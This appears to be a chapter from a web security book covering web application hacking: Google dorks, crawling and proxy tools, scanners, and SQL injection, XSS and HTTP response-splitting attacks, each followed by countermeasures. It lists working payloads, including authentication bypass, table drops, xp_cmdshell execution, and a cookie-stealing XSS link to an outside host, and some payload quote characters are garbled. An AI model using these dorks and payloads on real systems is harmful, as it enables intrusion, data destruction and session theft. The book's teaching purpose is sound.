| ||
Web application hacks refer to attacks on applications themselves , as opposed to the web server software upon which these applications run. Web application hacking involves many of the same techniques as web server hacking, including input-validation attacks, source code disclosure attacks, and so on. The main difference is that the attacker is now focusing on custom application code and not on off-the-shelf server software. As such, the approach requires more patience and sophistication. We will outline some of the tools and techniques of web application hacking in this section.
Search engines index a huge number of web pages and other resources. Hackers can use these engines to make anonymous attacks, find easy victims, and gain the knowledge necessary to mount a powerful attack against a network. Search engines are dangerous largely because users are careless. Further, search engines can help hackers avoid identification. Search engines make discovering candidate machines almost effortless. Listed here are a few common hacks performed with http://www.google.com (which is our favorite search engine, but you can use one of your own choosing if you'd like, assuming it supports all the same features as Google).
To find unprotected /admin, /password, /mail directories and their content, search for the following keywords in http://www.google.com:
"Index of /admin"
"Index of /password"
"Index of /mail"
"Index of /" +banques +filetype:xls (for France)
"Index of /" +passwd
"Index of /" password.txt
To find password hint applications that are set up poorly, type the following in http://www.google.com (many of these enumerate users, give hints for passwords, or mail account passwords to an e-mail address you specify!):
password hint
password hint -email
show password hint -email
filetype:htaccess user
To find IIS/Apache web servers with FrontPage installed, type the following in http://www.google.com (run the encrypted password files through a password cracker and get access in minutes!):
administrators.pwd index
authors.pwd index
service.pwd index
allinurl:_vti_bin shtml.exe
To find the MRTG traffic analysis page for websites , type the following in http://www.google.com:
inurl:mrtg
To get access to unprotected global.asa(x) files or to get juicy .NET information, type the following in http://www.google.com:
filetype:config web (finds web.config)
global.asax index (finds global.asax or global.asa)
To find improperly configured Outlook Web Access (OWA) servers, type the following in http://www.google.com:
inurl:exchange inurl:finduser inurl:root
Be creative, the possibilities are endless.
Tip | For hundreds of (categorized!) examples like these, check out the Google Hacking Database (GHDB) at http://johnny.ihackstuff.com/index.php?module=prodreviews. |
Abraham Lincoln is rumored to have once said, "If I had eight hours to chop down a tree, I'd spend six sharpening my axe." A serious attacker thus takes the time to become familiar with the application. This would include downloading the entire contents of the target website and looking for Low Hanging Fruit, such as local path information, backend server names and IP addresses, SQL query strings with passwords, informational comments, and other sensitive data in the following items:
Static and dynamic pages
Include and other support files
Source code
So what's the best way to get at this information? Because retrieving an entire website is by its nature tedious and repetitive, it is a job well suited for automation. Fortunately, many good tools exist for performing web crawling, such as these two.
wget wget is a free software package for retrieving files using HTTP, HTTPS , and FTP, the most widely used Internet protocols. It is a noninteractive command-line tool, so it may easily be called from scripts, cron jobs, and terminals without X Support. wget is available from http://www.gnu.org/software/wget/wget.html. A simple example of wget usage is shown next :
C:\> wget -P chits -l 2 http://www.google.com --20:39:46-- http://www.google.com:80/ => 'chits/index.html' Connecting to www.google.com:80... connected! HTTP request sent, awaiting response... 200 OK Length: 2,532 [text/html] 0K -> .. [100%] 20:39:46 (2.41 MB/s) - 'chits/index.html' saved [2532/2532]
Offline Explorer Pro Offline Explorer Pro, shown in Figure 12-1, is a commercial Win32 application that allows an attacker to download an unlimited number of their favorite websites and FTP sites for later offline viewing, editing, and browsing. It also supports HTTPS, Real Time Streaming Protocol (RTSP), and Microsoft Media Server (MMS) protocol. It supports NTLM Authentication, too. Offline Explorer Pro is available from http://www.metaproducts.com/mp/mpProducts_Downloads_Current.asp.
Once the target application content has been crawled and thoroughly analyzed , the attacker will typically turn to more in-depth probing of the main features of the application. The ultimate goal of this activity is to thoroughly understand the architecture and design of the application, pinpoint any potential weak points, and logically break the application in any way possible.
To accomplish this goal, each major component of the application will be examined from an unauthenticated point of view as well as from the authenticated perspective if appropriate credentials are known (for example, the site may permit free registration of new users, or perhaps the attacker has already gleaned credentials from crawling the site). Web application attacks commonly focus on the following features:
Authentication
Session management
Database interaction
Generic input validation
We will discuss how to analyze each of these features in the upcoming sections, including a discussion of the best tools and techniques for the job.
Many of the most serious web application flaws cannot be analyzed without the proper tools. Therefore, we begin with an enumeration of tools commonly used to perform web application hacking.
Achilles Achilles, shown in Figure 12-2, is a proxy server that acts as a man-in-themiddle during an HTTP session. Achilles will intercept an HTTP session's data in either direction and give the user the ability to alter the data before transmission. Achilles supports Secure Sockets Layer (SSL) transactions. Some of the features include configurable listening ports and timeout values, the availability of an additional buffer to perform buffer overflow attacks, the recalculation of content length to match data modification, and more. Achilles runs on Win32 and is available from http://www.digizen-security.com/downloads.html.
Paros Proxy Paros Proxy is a web application security scanner by Proofsecure (http://www.proofsecure.com). It is written in Java, so in order to run it, you must install the Java Runtime Engine (JRE) from http://java.sun.com. (Sun also offers many developer kits that contain the JRE, but they contain additional components that are not strictly necessary to run Java programs such as Paros Proxy.)
Paros attempts the "jack-of-all-trades" approach to web application security analysis. Its more notable features include scanning for known server misconfigurations and common application mistakes (such as SQL injection), browser session request and response proxying and analysis like Achilles (with a nifty tabular input injection interface), and site spidering. Although it took a little getting used to, Paros rewarded us with a plethora of information about the various web sessions we tested , easily recording all relevant details of even the most complex site and providing advanced interfaces to enable step-by-step analysis of the site logic. Figure 12-3 shows Paros at work analyzing a complex website.
Paros quietly impresses in small ways as well. We like the little "hash/encoding" tool that converts back and forth between Base64 and URL (hex) encoding. It also has an encoder for SHA-1 and MD5a very handy bit of functionality for web security analysts. This utility is shown in Figure 12-4.
If you are a security consultant who frequently conducts web application security assessments, or an internal IT security/audit team, we recommend you check out Paros Proxy.
WebSleuth WebSleuth is a web application security-testing tool built into a browser, and it's available for Win32 and Linux at http://www.cgisecurity.com/websleuth. WebSleuth allows you to edit HTTP requests on the fly in real time, among many other features. The most useful features of WebSleuth are its plug-ins, which include an HTTP/Cookie session ID brute forcer, SQL injection tester, and HTTP brute forcer. WebSleuth's many configuration options and plug-in palette are shown in Figure 12-5.
One of WebSleuth's cooler plug-ins is Sessions Package, written by David Endler. The Sessions Package plug-in, shown in Figure 12-6, is available at the main WebSleuth URL mentioned earlier. The software helps to audit sessions in three different ways. First, it works as a sequential cookie grabber. This helps in determining the relative randomness of the potential session IDs that may be generated in sequence. Second, it acts as a basic authentication brute forcer. This helps in auditing the password strength of the application. Last but not least, it works as a cookie/session ID brute forcer. This helps in brute-forcing session IDs or cookies generated by an application.
SPIKE Proxy SPIKE Proxy is a Pythonand OpenSSL-based web application assessment tool that functions as an HTTP and HTTPS proxy. It allows the web developer or web application auditor low-level access to the entire web application interface, while also providing a bevy of automated tools and techniques for discovering common problems. Automated tools include SQL Injector, Web Site Crawler, Login Form Brute Forcer, Automated Overflow Detection, and more. SPIKE Proxy is available for Win32 and Linux at http://www.immunitysec.com/spike.html. Beware, it's a hefty 13MB download if you do not already have Python and OpenSSL running on your system. We've also had problems getting the OpenSSL component to run on Windows XP, resulting in the failure of the entire program to operate .
WebProxy WebProxy is a Java 2-based web application security assessment tool originally released by information security firm @Stake (which was acquired by Symantec in late 2004). Installed as a proxy for your browser on ports 5111 for HTTP and 5112 for HTTPS, WebProxy allows you to intercept, modify, log, and resubmit both HTTP and HTTPS requests. Editing capabilities include parsing of query parameters, request headers, and POST parameters, as well as cookie editing. WebProxy can be used for SQL injection, cookie manipulation, parameter testing, or simple monitoring of requests. WebProxy can be obtained from several Internet repositories following a simple search. It is available in Win32, Linux x86, and Solaris SPARC or x86 versions. Figure 12-7 shows WebProxy 1.0's command window, where the proxy is launched, and a browser window in the background performing analysis of a website. Remember to set you browser proxy to HTTP:5111 and HTTPS:5112 once you've successfully launched WebProxy. Once the proxy is configured, you can browse to http://webproxy to view configuration settings and use utilities/plug-ins. Be sure to set your browser proxy back after using WebProxy to browse the Internet normally again.
Note | You must obtain and successfully install the Java 2 Runtime Environment (JRE) version 1.4 or later in order to use Web Proxy. You can download the latest JRE from http://java.sun.com. |
Form Scalpel Form Scalpel is designed to assess the resilience of a website to malicious attacks on HTML-based forms. The tool automatically extracts forms from a given web page and then extracts all unique fields for editing and manipulation, making it a simple task to formulate detailed GET and POST input validation attacks against HTML forms. Form Scalpel supports HTTP and HTTPS connections and will function over proxy servers. Form Scalpel is available from http://www.securityfocus.com/tools/2241, and it runs on Win32.
Figure 12-8 shows Form Scalpel in action. In this simple example, we've browsed to a web page that uses forms, and we've analyzed the details of each discovered form using the Form Details tab of Form Scalpel (not pictured). The Form Details tab reveals the existence of a single form, with four possible inputs (three of them hidden). The one nonhidden input has the name "q." Now, on the GET/POST Tuner tab shown in Figure 12-8, we've entered the value "foundstone" for the "q" input. Thanks to Form Scalpel's straightforward extraction of form parameters, input testing against this site is a breeze .
FSMax FSMax is a scriptable server stress-testing tool available from http://www.foundstone.com/knowledge/free_tools.html. This tool takes a text file as input and runs a server through a series of tests based on that input. The purpose of this tool is to find buffer overflows or denial of service (DoS) points in a server. Here is a sample FSMax script file:
host:192.168.0.1,22,100,500,4000,250,0,2,true,true,true,false lc:GET /login.php?* HTTP/1.0
You can then run this script against a server like so, outputting results to the file results.txt (note that the angle brackets are necessary!):
C:\> fsmax /s < script.txt > results.txt
WASAT WASAT (Web Authentication Security Analysis Tool), shown in Figure 12-9, is a nifty little GUI tool that assesses the security of basic authentication and forms-based web authentication schemes. WASAT is able to mount dictionary and brute-force attacks of varying complexity against the target website. It is available from http://www.instisec.com/publico/descargas.
SPIKE SPIKE is a "fuzzer" kit from Immunity Security, Inc., available at http://www.immunitysec.com/resources-freesoftware.shtml. Fuzzing is a generic term for throwing random data at an interface (be it a programming API or a web form) and examining the results for signs of potential security miscues. It includes a web server NTLM Authentication brute forcer that is capable of attempting around nine words per second. To brute-force an SSL connection with SPIKE, you'll have to use an SSL proxy such as stunnel (http://www. stunnel .org) or openssl (http://www.openssl.org).
NTLM Authorization Proxy Server NTLM Authorization Proxy Server (APS) is a configurable service that can proxy the proprietary NTLM Authentication protocol. It's available from http://www.geocities.com/rozmanov/ntlm, and you'll also need an appropriate Python environment to run it. This tool can be quite helpful when a target application uses NTLM Authentication to protect pages. Because NTLM Authentication is supported by default on IIS, most applications built on a Microsoft platform use this authentication mechanism.
Note | APS can act as a proxy for the scanning tools mentioned in "Web Server Vulnerability Scanners ," earlier in this chapter. |
The tools described previously are designed to provide specific components of an overall web application assessmentbut what about all-in-one tools? The commercial web application security scanner market continues to mature, and we discuss the current leading entries in the remainder of this section.
Before we begin, it is important to highlight the manual nature of web application security testing. Many web apps are complex and highly customized, so using cookiecutter tools such as these to attempt to deconstruct and analyze them is often futile. However, these tools can provide a great compliance checkpoint that indicates whether an application is reasonably free of known defects such as SQL injection, cross-site scripting, and the like. There is still solid value in knowing that one's web apps are comprehensively checked for such compliance on a regular basis.
SPI Dynamics WebInspect and SPI Toolkit Originally noted for their web security scanning tool WebInspect, SPI Dynamics (http://www.spidynamics.com) now offers a suite of products that can improve security across the web application development lifecycle, including SecureObjects, which plugs into Microsoft Visual Studio development environments and provides access to input validation and error-handling routines; WebInspect for Developers, which allows coders to check for vulnerabilities while building web applications; a security-focused quality assurance (QA) module based on Mercury TestDirector; and a toolkit for advanced web application penetration testing (in beta at the time of this writing). Seems like a savvy product lineup to usour experiences with development teams is that these areas of the development cycle are where they need the most help (dev, test, and audit). SPI Dynamics also advertises an Assessment Management Platform (AMP) that distributes the management of several WebInspect scanners and promises to provide a "real-time, high-level, dashboard view of an enterprise's current risk posture and policy compliance." SPI Dynamics is also savvy enough to provide free download of limited versions of their tools to try out, which we did with both WebInspect 1.2.3 and SPI Toolkit.
WebInspect's main features don't seem to have changed much since we first looked at the tool a couple years back, but clearly work has been going on under the hood judging by the 1,939 vulnerability checks present in the database of our trial download. Yes, we know that the sheer number of checks doesn't always equate to the overall accuracy/quality of the tool, but it is a rough yardstick by which to measure against other offerings that should be checking for the same weaknesses. To see how a typical scan might run, SPI Dynamics also kindly provides a test server (aptly named http://zero.webappsecurity.com) that took us 22 minutes to scan with all checks (except brute force) enabled. The test server contained approximately 3,600 pages at the time of our testing, according to the scanner output. Obviously, this wouldn't scale across thousands or even hundreds of servers (although we didn't consider SPI Dynamics' APM distributed scan management system), and we have no idea what performance load this caused on the test server, if anything significant. These issues would clearly have to be considered by larger sites if they wanted to use WebInspect. A screen shot of WebInspect following our scans is shown in Figure 12-10.
As far as results, WebInspect found 122 issues: 7 "Critical," 8 "High," 17 "Medium," 22 "Low," and 68 "Other." We briefly perused the "Critical" vulnerabilities, and although most seemed kind of run-of-the-mill (common sensitive files were found, ASP source revealed), one did indicate that a database connection string was accessible. This usually means SQL abuse of some form or another is a short hop away. We were also pleasantly surprised at the increased number of application-level checks that WebInspect has added since we last looked at the tool, when it seemed to be focused more on server-level flaws. Finally, WebInspect did a great job of inventorying the test site, and it provided many ways to slice and dice the data via its summary, browse (rendered HTML), source, and form views for every page discovered. Although this quick analysis only gave us a minimal sense of the capabilities of WebInspect, we came away quietly impressed and would consider investigating the product further to see how well it performs against a realworld application.
How about cost? Quickly checking Internet search engines for comparative tests involving WebInspect revealed prices (as of June 2004) for Developer versions of WebInspect from $795 per seat, and other versions from $4,000. Although this clearly puts the product into the league of substantive IT shops or well-financed consultants , it appears competitive to us.
SPI Toolkit was in beta when we tested it, but the feature set looked quite attractive, offering all the tools commonly used by advanced web application security analysts. It requires Microsoft's .NET Framework 1.1 and therefore only runs on Windows currently. Our testing was limited by the fact that the test license that comes with the beta version only allowed us to test localhost, but judging by the sophistication of the tools, if they can do half of what they advertise, this toolset is a must-have addition to any web app pen-tester's kit. Apparently, all the tools are also designed to plug into WebInspect, so you can use them to perform deeper analysis against components of an application that you've already scanned (although we were not successful in figuring out how to get this working on the beta version). Here's a list of the tools and some of our initial comments:
Cookie Cruncher Tools include character set, randomness, predictability, and character frequency measurements, taking much of the grunt work out of cookie analysis. Cookie Cruncher is pictured in Figure 12-11.
Figure 12-11: SPI Dynamics' Cookie Cruncher utility, from the company's SPI Toolkit web application security analysis tool suite
Encoders/Decoders These tools encode and decode 15 different, commonly used encryption/hashing algorithms, with input for a user-provided key. Very helpful to have around when performing web application analysis due to the preponderance of encoding, such as hexadecimal (URL), Base64, and XOR.
HTTP Editor No web app security analysis toolkit would be complete without a raw HTTP editor to generate unexpected input to all aspects of the application.
Regex Tester A nifty tool for testing input/output validation routines for correctness.
SOAP Editor This tool is like HTTP Editor, but for SOAP, with the added benefit of auto-generated formats.
SPI Fuzzer This tool provides automated HTTP fuzzing to complement the manual HTTP Editor.
SPI Proxy Local man-in-the-middle analysis tool for disassembling web communications. This tool is a lot like Achilles, but with much improved usability, visibility, and control.
SQL Injector It's about time someone cooked one of these up. Seems somewhat limited in the number of engines/exploits at this time, but it looks good going forward.
Web Brute Another can't-do-without tool for the web app security tester. This one checks authentication interfaces for weak credentials, which is a common pitfall.
Web Discovery This tool is a simple port scanner with a built-in list of common ports used by web apps, which is helpful for scanning large network spaces for rogue web servers. It proved flexible and fast in our testing.
We highly recommend that you check out the SPI Toolkit if you regularly perform web application security assessments.
Sanctum/Watchfire AppScan/WebMX Formerly Perfecto Technologies, Sanctum (http://www.sanctuminc.com) was one of the early pioneers in the web application security space with their AppShield product for controlling input to web apps based on administrator-defined policy. AppShield's counterpart on the assessment side, AppScan, was similarly one of the only commercial web application security assessment tools available for some time, with a reputation for cutting-edge techniques combined with a very high price tag that tended to make it a niche product.
Enter Watchfire (http://www.watchfire.com), which gained fame as a web privacy assessment tool vendor with their WebXM platform. Watchfire purchased Sanctum in July of 2004, and has subsequently integrated AppScan into their WebXM platform. We were unable to preview the integrated scanner before press time, but in our preliminary discussions with Watchfire, we were impressed with the scalability and comprehensiveness claimed by the company. The price quote we received for a custom, large-enterprise license still seemed high to us, however. Nevertheless, if you are looking for large-scale automated web privacy, security, and regulatory compliance, Watchfire should be on your short list.
Kavado ScanDo and InterDo Founded in 2000, Kavado (http://www.kavado.com) is a relatively new player in the web application security space. As you might imagine, ScanDo is their web application scanning product, while InterDo is a web application firewall ( essentially , a reverse proxy). The company claims that the two products can integrate to provide both preventive and detective capabilities in one continuous package.
Although Kavado generated some excitement in the web application market upon its entry, we haven't received feedback from typical users and were unsuccessful in obtaining test licenses for ScanDo from the company. Therefore, the relative value of the product remains hard for us to estimate.
So what does a typical attacker look for when assessing a typical web application? The problems are usually plentiful, but over the years of performing hundreds of web app assessments, we've seen many of them boil down to a few categories of problems.
The Open Web Application Security Project (http://www.owasp.org) has done a great job of documenting broad consensus of the most critical web app security vulnerabilities seen in the wild. The examples we will discuss in this section touch on a few of the OWASP categories, primarily the following:
A1: Unvalidated Input
A4: Cross-Site Scripting (XSS)
A6: Injection Flaws
Popularity: | 9 |
Simplicity: | 5 |
Impact: | 8 |
Risk Rating: | 7 |
Most modern web applications rely on dynamic content to achieve the appeal of traditional desktop windowing programs. This dynamism is typically achieved by retrieving updated data from a database. One of the more popular platforms for web datastores is SQL, and many web applications are based entirely on front-end scripts that simply query a SQL database, either on the web server itself or a separate back-end system. One of the most insidious attacks on a web application involves hijacking the queries used by the front-end scripts themselves to attain control of the application or its data. One of the most efficient mechanisms for achieving this is a technique called SQL injection .
SQL injection refers to inputting raw Transact SQL queries into an application to perform an unexpected action. Often, existing queries are simply edited to achieve the same results Transact SQL is easily manipulated by the placement of even a single character in a judiciously chosen spot, causing the entire query to behave in quite malicious ways. Some of the characters commonly used for such input validation attacks include the backtick ('), the double dash (), and the semicolon (;), all of which have special meaning in Transact SQL.
What sorts of things can a crafty hacker do with a usurped SQL query? Well, for starters, they could potentially access unauthorized data. With even sneakier techniques, they can bypass authentication or even gain complete control over the web server or back-end SQL system. Let's take a look at what's possible.
To see whether the application is vulnerable to SQL injections, type any of the following in the form fields.
Bypassing Authentication | |
To authenticate without any credentials: | Username: ˜ OR =˜ Password: ˜ OR =˜ |
To authenticate with just the username: | Username: admin' |
To authenticate as the first user in the "users" table: | Username: ˜ or 1=1 |
To authenticate as a fictional user: | Username: ˜ union select 1, ˜user,˜passwd 1 |
Causing Destruction | |
To drop a database table: | Username: ˜;drop table users |
To shut down the database remotely: | Username: aaaaaaaaaaaaaaa' Password: ˜; shutdown |
Executing Function Calls and Stored Procedures | |
Executing xp_cmdshell to get a directory listing: | http://localhost/script?0'; EXEC +master..xp_cmdshell+'dir';-- |
Executing xp_servicecontrol to manipulate services: | http://localhost/script?0';EXEC+master..xp_servicecontrol+'start',+'server';-- |
Not all the syntax shown here works on every proprietary database implementation. The following information indicates whether some of the techniques we've outlined will work on certain database platforms:
Database-Specific Information | |||||
---|---|---|---|---|---|
MySQL | Oracle | DB2 | Postgre | MS SQL | |
UNION possible | Y | Y | Y | Y | Y |
Subselects possible | N | Y | Y | Y | Y |
Multiple statements | N (mostly) | N | N | Y | Y |
Default stored procedures | - | Many (utf_file) | - | - | Many(xp_cmdshell) |
Other comments | Supports "INTO OUTFILE" | - | - | - | - |
SQL injection is typically performed manually, but some tools are available that can help automate the process of identifying and exploiting such weaknesses. Wpoison is a tool that finds any potential SQL injection vulnerabilities in dynamic web documents. SQL error strings are stored in a signature file, making it easy for anyone to add their own signatures for a particular web application. Wpoison runs on Linux and can be downloaded from http://wpoison. sourceforge .net.
We mentioned SPIKE Proxy in our previous discussion of web application assessment tools, but we mention it again here in the context of one of its nicer featuresperforming automated SQL injections. The strings to be injected are customizable.
mieliekoek.pl is a SQL insertion crawler that tests all forms on a website for possible SQL insertion problems. This script takes the output of a web mirroring tool as input, inspecting every file and determining whether there is a form in the file. The string to be injected can easily be changed in the configuration file. Get mieliekoek from http://packetstormsecurity.nl/UNIX/security/mieliekoek.pl, and make sure you have an appropriate Perl environment installed to use this script. Here's an example of the output from mieliekoek:
$badstring="blah'"; #$badstring="blah' or 1=1 --"; $badstring="blah' exec master..xp_cmdshell 'nslookup a.com 196.30.67.5' - ";
As we noted earlier in this chapter, SPI Dynamics' SPI Toolkit contains a tool called SQL Injector that automates SQL injection testing. The SPI Toolkit can be downloaded from http://www.spidynamics.com.
Here is an extensive but not complete list of methods used to prevent SQL injection:
Perform strict input validation on any input from the client. Follow the common programming mantra of "constrain, reject and sanitize"that is, constrain your input where possible (for example, only allow numeric formats for a ZIP code field), reject input that doesn't fit the pattern, and sanitize where constraint is not practical. When sanitizing, consider validating data type, length, range, and format correctness. See the Regular Expression Library at http://www.regxlib.com for a great sample of regular expressions for validating input.
Replace direct SQL statements with stored procedures, prepared statements, or ADO command objects. If you can't use stored procs, used parameterized queries.
Implement default error handling. This would include using a general error message for all errors.
Lock down ODBC. Disable messaging to clients . Don't let regular SQL statements through. This ensures that no client, not just the web application, can execute arbitrary SQL.
Lock down the database server configuration. Specify users, roles, and permissions. Implement triggers at the RDBMS layer. This way, even if someone can get to the database and get arbitrary SQL statements to run, they won't be able to do anything they're not supposed to.
For more tips, see the Microsoft Developer Network (MSDN) article at http://msdn.microsoft.com/library/en-us/bldgapps/ba_highprog_11kk.asp.
Popularity: | 9 |
Simplicity: | 3 |
Impact: | 5 |
Risk Rating: | 6 |
Like most of the vulnerabilities we've discussed in this chapter so far, cross-site scripting typically arises from input/output validation deficiencies in web applications. However, unlike many of the other attacks we've covered in this chapter, XSS is typically targeted not at the application itself, but rather at other users of the vulnerable application. For example, a malicious user can post a message to a web application "guestbook" feature that contains executable content. When another user views this message, the browser will interpret the code and execute it, potentially giving the attacker complete control of the second user's system. Thus, XSS attack payloads typically affect the application end user, a commonly misunderstood aspect of these widely sensationalized exploits.
Note | See Chapter 13 for more details on the client-side effects of XSS. |
Properly executed XSS attacks can be devastating to the entire user community of a given web application, as well as the reputation of the organization hosting the vulnerable application. Specifically , XSS can result in hijacked accounts and sessions, cookie theft, misdirection , and misrepresentation of organizational branding.
The technical underpinning of XSS attacks is described in good detail on the Open Web Application Security Project (OWAP) website at http://www.owasp.org/documentation/topten/a4.html. In brief, nearly all XSS opportunities are created by applications that fail to safely manage HTML input and outputspecifically, HTML tags encompassed in angle brackets (< and >) and a few other characters, such as # and &, which are much less commonly used to embed executable content in scripts. Yes, as simple as it sounds, nearly ever single XSS vulnerability we've come across involved failure to strip angle brackets from input or failure to encode such brackets in output. Table 12-3 lists the most common proof-of-concept XSS payloads used to determine whether an application is vulnerable.
XSS Attack Type | Example Payload |
---|---|
Simple script injection into a variable | http://localhost/page.asp?variable=<script>alert (˜Test)<script> |
Variation on simple variable injection that displays the victim's cookie | http://localhost/page.asp?variable=<script>alert (document.cookie)<script> |
Injection into an HTML tag; the injected link e- mails the victim's cookie to a malicious site | http://localhost/page.php?variable=><script>document.location=˜http://www.cgisecurity.com/cgi-bin/cookie.cgi?˜%20+document.cookie</script> |
Injecting the HTML BODY "onload" attribute into a variable | http://localhost/frame.asp?var=%20onload=alert(document.domain) |
Injecting JavaScript into a variable using an IMG tag | http://localhost//cgi-bin/script.pl?name=>˜><IMG SRC=javascript:alert(˜XSS)> |
As you can see from Table 12-3, the two most common approaches are to attempt to insert HTML tags into variables and into existing HTML tags in the vulnerable page. Typically this is done by inserting an HTML tag beginning with a right, or opening , angle bracket (<), or a tag beginning with a quote followed by a left, or closing , angle bracket (>) and a right (<) angle bracket, which may be interpreted as closing the previous HTML tag and beginning a new one. You can also hex-encode input to create myriad variations. Here are some examples:
%3c instead of <
%3e instead of >
%22 instead of
Tip | We recommend checking out RSnake's "XSS Cheatsheet" at http://www.shocking.com/~rsnake/xss.html for hundreds of XSS variants like these. |
The following general approaches for preventing cross-site scripting attacks are recommended:
Filter input parameters for special charactersno web application should accept the following characters within input if at all possible:
< > ( ) # &
HTML-encode output so that even if special characters are input, they appear harmless to subsequent users of the application. Alternatively, you can simply filter special characters in output (achieving "defense in depth").
If your application sets cookies, use Microsoft's HttpOnly cookies (web clients must use Internet Explorer 6 SP1 or greater). This can be set in the HTTP response header. It marks cookies as "HttpOnly," thus preventing them from being accessed by scripts, even by the website that set the cookies in the first place. Therefore, even if your application has an XSS vulnerability, if your users use IE6 SP1 or greater, your application's cookies cannot be accessed by malicious XSS payloads. See http://msdn.microsoft.com/workshop/author/dhtml/httponly_cookies.asp for more information.
Analyze your applications for XSS vulnerabilities on a regular basis using the many tools and techniques outlined in this chapterand fix what you find.
Popularity: | 3 |
Simplicity: | 3 |
Impact: | 6 |
Risk Rating: | 4 |
HTTP response splitting is a new application attack technique first publicized by Sanctum, Inc., in March of 2004 (see http://www.sanctuminc.com/pdf/whitepaper_httpresponse.pdf). The root cause of this class of vulnerabilities is the exact same as that of SQL injection or cross-site scripting: poor input validation by the web application. Thus, this phenomenon is more properly called "HTTP response injection," but who are we to steal someone else's thunder? Whatever the name, the effects of HTTP response splitting are similar to XSSbasically, users can be more easily tricked into compromising situations, greatly increasing the likelihood of phishing attacks and concomitant damage to the reputation of the site in question (see Chapter 13 for more information about phishing).
Fortunately, like XSS, the damage wrought by HTTP response splitting usually involves convincing a user to click a specially crafted hyperlink in a malicious website or e-mail. As we noted in our discussion of XSS previously in this chapter, however, the shared complicity in the overall liability for the outcome of the exploitation is often lost on the end user in these situations, so any corporate entity claiming this defense is on dubious ground, to say the least. Another factor that somewhat mitigates the risk from HTTP response splitting today is that it only affects web applications designed to embed user data in HTTP responses, which is typically confined to server-side scripts that rewrite query strings to a new site name. In our experience, this is implemented in very few applications; however, we have seen at least a few apps that had this problem, so it is by no means nonexistent. Additionally, these apps tend to be the ones that persist forever (why else would you be rewriting query strings?) and are therefore highly sensitive to the organization. So, it behooves you to identify potential opportunities for HTTP response splitting in your apps.
Doing so is rather easy. Just as most XSS vulnerabilities derive from the ability to input angle brackets (< and >) into applications, nearly all HTTP response splitting vulnerabilities we've seen involve use of one of the two the major web script response redirect methods:
JavaScript: response.sendRedirect
ASP: Response.Redirect
This is not to say that all HTTP response splitting vulnerabilities are derived from these methods. We have also seen non-script-based applications that were vulnerable to HTTP response splitting (including one ISAPI-based application at a major online service), and Microsoft has issued at least one bulletin for a product that shipped with such a vulnerability (see http://www.microsoft.com/technet/security/Bulletin/MS04-026.mspx). Therefore, don't assume your web app isn't affected until you check all the response rewriting logic.
Sanctum's paper covers the JavaScript example, so let's take a look at what an ASPbased HTTP response splitting vulnerability might look like.
Tip | You can easily find pages that use these response redirect methods simply by searching for the literal strings in a good Internet search engine. For example: http://www.google.com/search?q=+%22Response.Redirect. |
The Response object is one of many intrinsic COM objects (ASP built-in objects) that are available to ASP pages, and Response.Redirect is just one method exposed by that object. Microsoft's MSDN site (http://msdn.microsoft.com) has authoritative information on how the Response.Redirect method works, and we won't go into broad detail here other than to provide an example of how it might be called in a typical web page. Figure 12-12 shows an example we turned up after performing a simple search for "Response.Redirect" on Google.
The basic code behind this form is rather simple:
If Request.Form("selEngines") = "yahoo" Then Response.Redirect("http://search.yahoo.com/bin/search?p=" & Request.Form("txtSearchWords")) End If
The error in this code may not be immediately obvious because we've stripped out some of the surrounding code, so let's just paint it in bold colors: the form takes input from the user ("txtSearchWords") and then redirects it to the Yahoo! Search page using Response.Redirect . This is a classic candidate for cross-site input validation issues, including HTTP response splitting, so let's throw something potentially malicious at it. What if we input the following text into this form (a manual line break has been added due to page width restrictions):
blah%0d%0aContent-Length:%200%0d%0aHTTP/1.1%20200%20OK%0d%0aContent- Type:%20text/html%0d%0aContent-Length:%2020%0d%0a<html>Hacked!</html>
This input would get incorporated into the response redirect to Yahoo!'s Search page, resulting in the following HTTP response being sent to the user's browser:
HTTP/1.1 302 Object moved Server: Microsoft-IIS/5.0 Date: Fri, 06 Aug 2004 04:35:42 GMT Location: http://search.yahoo.com/bin/search?p=blah%0d%0a Content-Length:%200%0d%0a HTTP/1.1%20200%20OK%0d%0a Content-Type:%20text/html%0d%0a Content-Length:%2020%0d%0a <html>Hacked!</html> Connection: Keep-Alive Content-Length: 121 Content-Type: text/html Cache-control: private <head><title>Object moved</title></head> <body><h1>Object Moved</h1>This object may be found <a HREF="">here</a>.</body>.
We've placed some judicious line breaks in this output to visually illustrate what happens when this response is received in the user's browser. This also occurs programmatically, because each "%0d%0a" is interpreted by the browser as a carriage return line feed (CRLF), creating a new line. Thus, the first "Content-Length" HTTP header ends the real server response with a zero length, and the following line beginning with "HTTP/1.1" starts a new injected response that can be controlled by a malicious hacker. We've simply elected to display some harmless HTML here, but attackers can get much more creative with HTTP headers such as Set Cookie (identity modification), Last-Modified, and Cache-Control (cache poisoning ). To further assist with visibility of the ultimate outcome here, we've highlighted the entire injected server response in bold.
Although we've chosen to illustrate HTTP response splitting with an example based on providing direct input to a server application, the way this is exploited in the real world is much like cross-site scripting (XSS). A malicious hacker might send an e-mail containing a link to the vulnerable server, with an injected HTTP response that actually directs the victim to a malicious site, sets a malicious cookie, and/or poisons the victim's Internet cache so that they are taken to a malicious site when they attempt to visit popular Internet sites such as eBay or Google.
As with SQL injection and XSS, the core preventative countermeasure for HTTP response splitting is good, solid input validation on server input. As you saw in the preceding examples, the key input to be on the lookout for is encoded CRLFs (that is, %0d%0a). Of course, we never recommend simply looking for such a simple "bad" input stringwily hackers have historically found multiple ways to defeat such simplistic thinking. As we've said frequently throughout this book, "constrain, reject, and sanitize" is a much more robust approach to input validation. Of course, the example we used to describe HTTP response splitting doesn't lend itself easily to constraint (the application in question is essentially a search engine, which should be expected to deal with a wide range of input from users wanting to research a myriad of topics). So, let's move to the "reject and sanitize" approach, and simply remove percent symbols and angle brackets (%, <, and >). Perhaps we define a way to escape such characters for users who want to use them in a search (although this can be tricky, and it can lead you into more trouble than nonsanitized input in some instances). Here are some Microsoft .NET Framework sample code snippets that strip such characters from input using the CleanInput method, which returns a string after stripping out all nonalphanumeric characters except the "at"symbol (@), a hyphen (-), and a period (.). First, here's an example in Visual Basic:
Function CleanInput(strIn As String) As String ' Replace invalid characters with empty strings. Return Regex.Replace(strIn, "[^\w\.@-]", "") End Function
And here's an example in C#:
String CleanInput(string strIn) { // Replace invalid characters with empty strings. return Regex.Replace(strIn, @"[^\w\.@-]", ""); }
